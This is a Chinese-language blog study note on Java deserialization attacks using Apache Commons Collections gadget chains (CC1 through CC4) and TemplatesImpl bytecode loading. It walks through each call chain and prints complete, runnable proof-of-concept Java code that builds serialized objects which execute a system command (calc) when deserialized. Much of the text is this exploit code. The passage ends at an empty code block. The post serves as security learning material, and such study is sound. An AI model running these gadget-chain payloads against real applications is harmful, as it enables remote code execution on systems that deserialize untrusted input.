学习笔记 - java反序列化(一)

Posted by morouu on 2022-02-17
Estimated Reading Time 62 Minutes
Words 13.5k In Total
Viewed Times

学习笔记 - java反序列化(一)


- 前言 -

就当作是写给自己以后翻看的学习笔记吧,如果有错误有望各位师傅伙伴们指出了0.0。另外,还有很多其他部分需要学习(不如说是把之前忘掉的部分重新复现一遍),往后还会继续。

- 前置内容 -

- Transformer -

这个玩意是一个来自 commons.collections 的接口,其拥有唯一需要实现的方法 transform 👇

image-20220215014906831

其中,实现了该接口且比较关键的类为以下👇

  • InvokerTransformer
  • ConstantTransformer
  • TransformedMap

这几个类都拥有不同的 transform 方法,实现了 transformer 接口,而且是大部分 CC链 的关键。

- 分析 -

- InvokerTransformer -

那么先来看 InvokerTransformer 这个类的 transformer 方法👇

image-20220215015911009

可以看到其会获取传入的 input 参数中参数为 this.iParamTypes ,名称为 this.iMethodName 的方法,然后以 this.iArgs 作为参数进行调用。

this.iMethodName this.iParamTypes this.iArgs 是可以从 InvokerTransformer 类的构造方法传入,且 InvokerTransformer 类可序列化👇

image-20220215020324053

此时就可以获取一个对 任意类任意方法 传入 任意参数 的调用了。

- ConstantTransformer -

再来看 ConstantTransformer 类的 transformer 方法👇

image-20220215020511745

仅是将自身的 this.iConstant 属性返回,同时和 InvokerTransformer 类一样, ConstantTransformer 类的 this.iMethodName 属性是可以通过构造方法控制且可序列化👇

image-20220215020712044

这意味着可以通过 ConstantTransformer 类的 transformer 获取 任意值

- ChainedTransformer -

这个 ChainedTransformer 类比较特殊,一般用来对上面的 InvokerTransformer 类和 ConstantTransformer 做一个执行顺序的包装👇

image-20220215021021246

可以看到 ChainedTransformer 类的 transformer 方法会将其 this.iTransformers 属性中每一个Transformer 接口元素进行 transform 方法的调用;在首次使用 object 参数作为调用 tranform 方法的调用参数进行调用后,将通过调用 tranform 方法得到的结果作为下次调用 tranform 方法的参数进行调用。

同时 ChainedTransformer 类的 this.iTransformers 属性是可以通过构造方法控制,而 ChainedTransformer 也是可以序列化的。

- payload -

那么由上面几个类就可以很容易的得到简单的 payload 了,比如👇

1
2
3
4
5
6
7
8
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) {
InvokerTransformer itf = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
itf.transform(Runtime.getRuntime());
}
}

由于 Runtime 这个类并不能序列化,上面的 payload 并不能用在 反序列化 上,再来个 反序列化 的(commons.collections3.2.0)👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) {

Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"})
};

ChainedTransformer ctf = new ChainedTransformer(tfs);
ctf.transform(null);

}
}

这个可以支持 反序列化payload 原因是在整个过程先利用 ConstantTransformer 类将 Runtime.class 获取了,然后一步步用 InvokerTransformer 拼装直至到对 exec 的调用;也就是还原了 java.lang.Runtime.getRuntime().exec() 的调用过程👇

1
2
3
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc");

当然,以上 payload 触发的关键是调用了 transform 方法,因此在 反序列化 时需要通过合适的方式调用 transform 才可以触发,也就是得找到类似 [(Transformer)可控].transform() 的结构,这就到 CC链 的时候再说罢。

- TemplatesImpl -

在开始之前先回顾一下有关类初始化👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Test3{
public Test3(){
System.out.println("in Test3");
}
}
class Test2 extends Test3{
{
System.out.println("init 1");
}
static {
System.out.println("init 2");
}
public Test2(){
super();
System.out.println("in Test2");
System.out.println("init 3");
}
}
public class Test {
public static void main(String[] args) throws InstantiationException, IllegalAccessException {

Test2.class.newInstance();

}
}

得到结果👇

1
2
3
4
5
init 2
in Test3
init 1
in Test2
init 3

由此可以得到这三个初始化的顺序👇

  • 第一个 {} 介于 super() 和构造函数内容之间。
  • 第二个 static{} 在最前面。
  • 第三个则是构造函数的内容,相对于前面两个在最后面。

但这并不是重点,重点是一旦调用了 newInstance 方法,这三个初始化中的内容都会被执行。

那么接下来可以看 TemplatesImpl 类的 getTransletInstance 方法(jdk1.8.0_11)👇

image-20220215032214007

这里存在对 newInstance 方法的调用,那么整体思路就比较明白了,构造合适的类,通过种种方法最终来到 _class[_transletIndex].newInstance()

- 分析 -

先来看在 _class[_transletIndex].newInstance() 代码中的 _class 属性的值,这个 _class 属性的值内容来自 defineTransletClasses 方法👇

image-20220215032535170

loader.defineClass_bytecodes 属性作为参数进行调用得到的结果,显然 _bytecodes 属性的值为类的字节码。

再环顾 TemplatesImpl 整个类,在 newTransformer 方法存在对 defineTransletClasses 方法的调用👇

image-20220215033938851

同时 getOutputProperties 方法存在对 newTransformer 方法的调用👇

image-20220215034044278

另外,在 TrAXFilter 类的构造方法、 TransformerFactoryImpl 类的 newTransformerHandler 方法

都可以通过合理的构造以达到对 TemplatesImpl 类中 newTransformer 方法的调用,这里就不展开了。

那么回到 TemplatesImpl 类的 newTransformer 方法,由于前面是没有多余的条件判断,直接跟进 getTransletInstance 方法👇

image-20220215035530284

首先 _name_class 属性的值必须要为 null ,继续跟进 defineTransletClasses 方法👇

image-20220215035853889

显然,_bytecodes 属性必不为 null 且需要为大小大于 1 的二维数组,以便让 _auxClasses 属性能够执行 _auxClasses = new Hashtable() 进行初始化。然后让 _transletIndex 属性设为 0 ,同时保证 _bytecodes 属性的值如👇

  • [0][]{payload内容字节码}
  • [1][]{任意类}
  • ......

至于 _transletIndex 的值为什么为 0 是方便后面执行 _class[_transletIndex].newInstance() 时能从 _class[0] 中读到 payload内容字节码 。当然,如果不按照上面的格式只要 _transletIndex 的值能够对的上 _bytecodes 属性所放 payload内容字节码 的索引也可。

同时 TemplatesImpl 类也是可以序列化的👇

image-20220215041907968

最后,类的 字节码 的生成可以用 javassist

- payload -

先是直接一点的 payload ,比如👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static void main(String[] args) throws Exception {

// 生成恶意java字节码
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();";

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

templates.newTransformer();
//templates.getOutputProperties();

}
}

由于 TemplatesImpl 类本身是可以序列化的,因此以上的 payload 也是可以用来 反序列化

- CC链 -

注意啦注意啦,重点来了(啪嗒啪嗒…)。

- CC1 -

实验环境:

  • jdk1.7.0_02
  • commons.collections 3.2.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

AnnotationInvocationHandler.readObject()
👇
(Map)Proxy.entrySet()
👇
(Map)Proxy.invoke() <=> AnnotationInvocationHandler.invoke()
👇
LazyMap.get()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => Runtime.class
👇
InvokerTransformer.transform() => Runtime.getRuntime
👇
InvokerTransformer.transform() => Runtime.getRuntime()
👇
InvokerTransformer.tarnsform() => Runtime.getRuntime().exec()

- 分析 -

显然后半部分即为有关 Transformer 的调用 payload 了,而使用有关 Transformer 的调用 payload 触发的重点是找到 [(Transformer)可控].transform() 的结构。

先看 LazyMap 类的 get 方法👇

image-20220215052011650

这里 Object value = this.factory.transform(key)this.factory 属性的值是可以通过序列化控制的,且类型为 Tranformer 接口👇

image-20220215052144739

注意看 LazyMap 这个类还实现了 Map 接口。

那么现在的关注点就来到了寻找 [可控].get() 的结构,直接跟进 AnnotationInvocationHandler 类👇

image-20220215052715091

可见 AnnotationInvocationHandler 类是实现了 InvocationHandler 接口,且可通过序列化控制 memberValues 属性的值。而 memberValues 属性的类型为 Map ,也就可以通过将 LazyMap 赋值给它从而实现控制,并且在 invoke 方法中存在对 this.memberValues.get(var4) 的调用。

假若用 AnnotationInvocationHandler 类构造一个合适的代理,当这个代理被调用时也就会由 this.memberValues.get(var4)Object value = this.factory.transform(key),进而触发有关 Transformer 调用的 payload

接下来的关键点也就来到了如何找到一个 [(Map)可控].[任意方法] 的结构,而在 AnnotationInvocationHandlerreadObject 中刚好就有一个👇

image-20220215053653640

相当于 [(Map)可控].entrySet() 的调用。

此时也就可以大致理解这个 CC1 链条的构成了,只是还有一点需要注意的是, this.type 这里会进行处理👇

image-20220215054741875

this.type 属性类型为 Class<? extends Annotation> ,像 Documented 之类的注解类就可以通过了。

- payload -

核心应该是在于有关代理的构造,简单来说就是需要实例化两个 AnnotationInvocationHandler 类👇

  • 第一个 AnnotationInvocationHandler 类作为 Map 类型的代理,其 memberValues 属性存放相关 Transformer 的调用 payload
  • 第二个 AnnotationInvocationHandler 类作为 反序列化 的载体,其 memberValues 属性存放作为代理的第一个 AnnotationInvocationHandler 类。

以下是相关 payload 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain(String cmd) {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd})
};

return new ChainedTransformer(tfs);
}

public static void main(String[] args) throws Exception {

Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihC = aih.getDeclaredConstructor(Class.class, Map.class);
aihC.setAccessible(true);

// 生成有关Transformer的payload
Map map = LazyMap.decorate(new HashMap(), getTransformerChain("calc"));

// 第一个AnnotationInvocationHandler作为代理
InvocationHandler aihC1 = (InvocationHandler) aihC.newInstance(Documented.class, map);
Map proxy = (Map) Proxy.newProxyInstance(aih.getClassLoader(), new Class[]{Map.class}, aihC1);

// 第二个AnnotationInvocationHandler作为载体
Object aihC2 = aihC.newInstance(Documented.class, proxy);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(aihC2);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215065149375

是成功了。

- 扩展 -

当然,除了用 AnnotationInvocationHandler 做载体,任何一个可以支持序列化且存在形如 [(Map)可控].[任意方法] 的也是可以的,比如 Collections 类中的 SetFromMap 类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain(String cmd) {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd})
};

return new ChainedTransformer(tfs);
}

public static void main(String[] args) throws Exception {



Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihC = aih.getDeclaredConstructor(Class.class, Map.class);
aihC.setAccessible(true);

// 生成有关Transformer的payload
Map map = LazyMap.decorate(new HashMap(), getTransformerChain("calc"));

// 第一个AnnotationInvocationHandler作为代理
InvocationHandler aihC1 = (InvocationHandler) aihC.newInstance(Documented.class, map);
Map proxy = (Map) Proxy.newProxyInstance(aih.getClassLoader(), new Class[]{Map.class}, aihC1);

// 使用Collections$SetFromMap作为载体
Class cs = Class.forName("java.util.Collections$SetFromMap");
Constructor csC = cs.getDeclaredConstructor(Map.class);
csC.setAccessible(true);
Object o = csC.newInstance(new HashMap());
setFieldValue(o,"m",proxy);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215123914958

- CC2 -

实验环境:

  • jdk1.7.0_02
  • commons.collections 4.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

PriorityQueue.readObject()
👇
PriorityQueue.heapify()
👇
PriorityQueue.siftDown()
👇
PriorityQueue.siftDownUsingComparator()
👇
TransformingComparator.compare()
👇
InvokerTransformer.transform() => TemplatesImpl.newTransformer()
👇
TemplatesImpl.newTransformer()
👇
TemplatesImpl.getTransletInstance()
👇
TemplatesImpl.defineTransletClasses()
👇
newInstance()

- 分析 -

从上面的 调用结构 可以看出,最后执行的核心部分是调用了有关 TemplatesImplpayload ;而调用这个 payload 的关键是能够调用到 TemplatesImpl 类中的 newTransformer 方法,于是也就使用了 InvokerTransformer 类中可对 任意类任意方法 传入 任意参数 的调用功能。当然,此时还必须得找一个形如 [可控].transform() 结构以便调用 InvokerTransformer 类的 transform 方法。

那么跟进 TransformingComparator 类👇

image-20220215085904529

可见在其 compare 方法中存在 [可控].transform() 的结构,同时 transformer 属性可控并且可序列化(在 commons.collections3TransformingComparator 类不支持序列化)。

由此现在的关注点就来到了如何调用 TransformingComparator 类的 compare 方法,继续跟进 PriorityQueue 类的 siftDownUsingComparator 方法👇

image-20220215090423964

是存在对 compare 方法的调用的,再看 comparator 属性👇

image-20220215090524681

依旧是可控且可序列化的,并且这个 comparator 属性的类型为 Comparator ,上面的 TransformingComparator 类实现了 Comparator 的接口,也就可以赋值为 TransformingComparator ,至此 TransformingComparator.compare 方法就有机会被调用。

接下来的目标也就是得到达 PriorityQueue 类的 siftDownUsingComparator 方法,从头来看 PriorityQueue 类的 readObject 方法👇

image-20220215090902850

这里在给 queue 属性读取相关序列化值后,调用了 heapify 方法,跟进 heapify 方法👇

image-20220215091015800

如果要往下执行就必须调用 siftDown 方法,那么 size 属性的值必须至少为 2 ,同时注意这里传入 siftDown 方法的参数内容为 queue 属性的内容,再跟进 siftDown 方法👇

image-20220215091202681

在上面已经说明 comparator 已被赋值为 TransformingComparator 类,此时也就会调用 siftDownUsingComparator 方法,而传入的参数为 heapify 方法中循环的整型 i 以及 queue[i] 的值。

最后再跟进 siftDownUsingComparator 方法,看如何到达 comparator 属性的 compare 方法调用👇

image-20220215091759402

此时假若通过序列化控制 size 属性的值为 2 ,第一遍传入的参数也就为👇

  • k = 0
  • x = queue[0]

其中 half = 1 ,由于 k = 0 ,那么 k < half 必然成立。

跟进循环内容,看到 child = 1c = queue[1] ,而 right = 2 ,显然第一个条件也就是 if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) 中是不成立的(因为 right = size = 2 );在第二个条件中直接以 x = queue[0]c = queue[1] 作为参数调用了 comparator.compare ,至此就达成了目的。

再来看 writeObject 方法👇

image-20220215092906254

可见 queue 属性是直接写进去了,并且由于 queue 属性类型为 Object[] ,也就可以赋予任意值,比如 InvokerTransformer 类是可以的。

- payload -

需要注意的是除了需要 commons.collections4.0 版本外,只要按照以下结构构造 PriorityQueue 类就好了👇

  • size = 2
  • comparator = TransformingComparator类
  • queue[2] = {InvokerTransformer类, null}

PriorityQueue 的构造方法中仅仅是提供了有关 queue 长度以及 comparator 的构造👇

image-20220215093250330

因此需要在反射中构造 queuesize 的属性值,当然通过 add 方法加两个值也可以,不过由于 add 方法会由 add()->offer()->siftUp()->siftUp()->siftUpUsingComparator()->comparator.compare() 最终在本地执行 payload ,需要在进行 add 方法调用后再通过反射给 comparator 属性赋值,这里就直接用反射设置 size 的值了👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception {

// 构造TransformingComparator
InvokerTransformer itf = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator tc = new TransformingComparator(itf);

// 构造PriorityQueue
PriorityQueue pq = new PriorityQueue(2, tc);

setFieldValue(pq, "size", 2);
setFieldValue(pq, "queue", new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();"), null});

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

执行结果👇

image-20220215095421119

是成功了。

- CC3 -

实验环境:

  • jdk1.7.0_02
  • commons.collections 3.2.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

AnnotationInvocationHandler.readObject()
👇
(Map)Proxy.entrySet()
👇
(Map)Proxy.invoke() <=> AnnotationInvocationHandler.invoke()
👇
LazyMap.get()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => InstantiateTransformer
👇
InstantiateTransformer.transform() => TrAXFilter.TrAXFilter()
👇
TrAXFilter.TrAXFilter()
👇
TemplatesImpl.newTransformer()
👇
TemplatesImpl.getTransletInstance()
👇
TemplatesImpl.defineTransletClasses()
👇
newInstance()

- 分析 -

可以看到后半段为 TemplatesImplpayload ,前半段和 CC1 链条的前半段相似,主要区别是中段多出了对 InstantiateTransformer 类的 transform 方法调用和由 TrAXFilter 类的构造方法到达 TemplatesImpl 类的 newTransformer 方法。

先来看 InstantiateTransformer 类的 transform 方法👇

image-20220215104326719

可以用来将一个拥有公有构造方法的类实例化,传入的参数是可控且可序列化的👇

image-20220215104527715

再来到 TrAXFilter 类的构造方法👇

image-20220215104703802

在这里将传入的 templates 参数类型为 Templates 接口,然后调用了 templates 参数的 newTransformer 方法;而 TemplatesImpl 这个 payload 的关键正好是需要对其 newTransformer 方法的调用,并且 TemplatesImpl 类也是实现了 Templates 接口的。

因此就可以通过这个 [(Templates)可控].newTransformer() 的调用达成 TemplatesImplpayload 了。

- payload -

由于这条链前半段和 CC1 链的前半段相似,就不做分析,中段只需要将对 InstantiateTransformer 类的 tranform 方法调用的参数设为 TrAXFilter 类、并将 InstantiateTransformer 类的 iParamTypesiArgs 属性构造好,接上 TrAXFilter 类构造方法的参数类型以及 TemplatesImpl 类的 payload 即可👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Test3 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain() throws Exception {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();")})
};

return new ChainedTransformer(tfs);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception {



Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihC = aih.getDeclaredConstructor(Class.class, Map.class);
aihC.setAccessible(true);

// 生成有关Transformer的payload
Map map = LazyMap.decorate(new HashMap(), getTransformerChain());

// 第一个AnnotationInvocationHandler作为代理
InvocationHandler aihC1 = (InvocationHandler) aihC.newInstance(Documented.class, map);
Map proxy = (Map) Proxy.newProxyInstance(aih.getClassLoader(), new Class[]{Map.class}, aihC1);

// 第二个AnnotationInvocationHandler作为载体
Object aihC2 = aihC.newInstance(Documented.class, proxy);

// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(aihC2);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215110939809

是成功了。

- CC4 -

实验环境:

  • jdk1.7.0_02
  • Commons Collections 4.0

- 调用结构 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

PriorityQueue.readObject()
👇
PriorityQueue.heapify()
👇
PriorityQueue.siftDown()
👇
PriorityQueue.siftDownUsingComparator()
👇
TransformingComparator.compare()
👇
ChainedTransformer.transform()
👇
ConstantTransformer.transform() => InstantiateTransformer
👇
InstantiateTransformer.transform() => TrAXFilter.TrAXFilter()
👇
TrAXFilter.TrAXFilter()
👇
TemplatesImpl.newTransformer()
👇
TemplatesImpl.getTransletInstance()
👇
TemplatesImpl.defineTransletClasses()
👇
newInstance()

- 分析 -

怎么说呢,就是将 CC2 前半段和 CC3 中段加起来,再接上 TemplatesImplpayload

- payload -

拼接一下就好了👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Test4 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static ChainedTransformer getTransformerChain() throws Exception {
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();")})
};

return new ChainedTransformer(tfs);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception {



// 构造TransformingComparator
InvokerTransformer itf = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator tc = new TransformingComparator(getTransformerChain());

// 构造PriorityQueue
PriorityQueue pq = new PriorityQueue(2, tc);

setFieldValue(pq, "size", 2);
setFieldValue(pq, "queue", new Object[]{getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();"), null});


// 反序列化测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();


}
}

执行结果👇

image-20220215114530193

是成功了。

- 扩展 -

搁着排列组合呢,再来排个链吧。

比如 TransformerFactoryImpl 类的 newTransformerHandler 方法👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
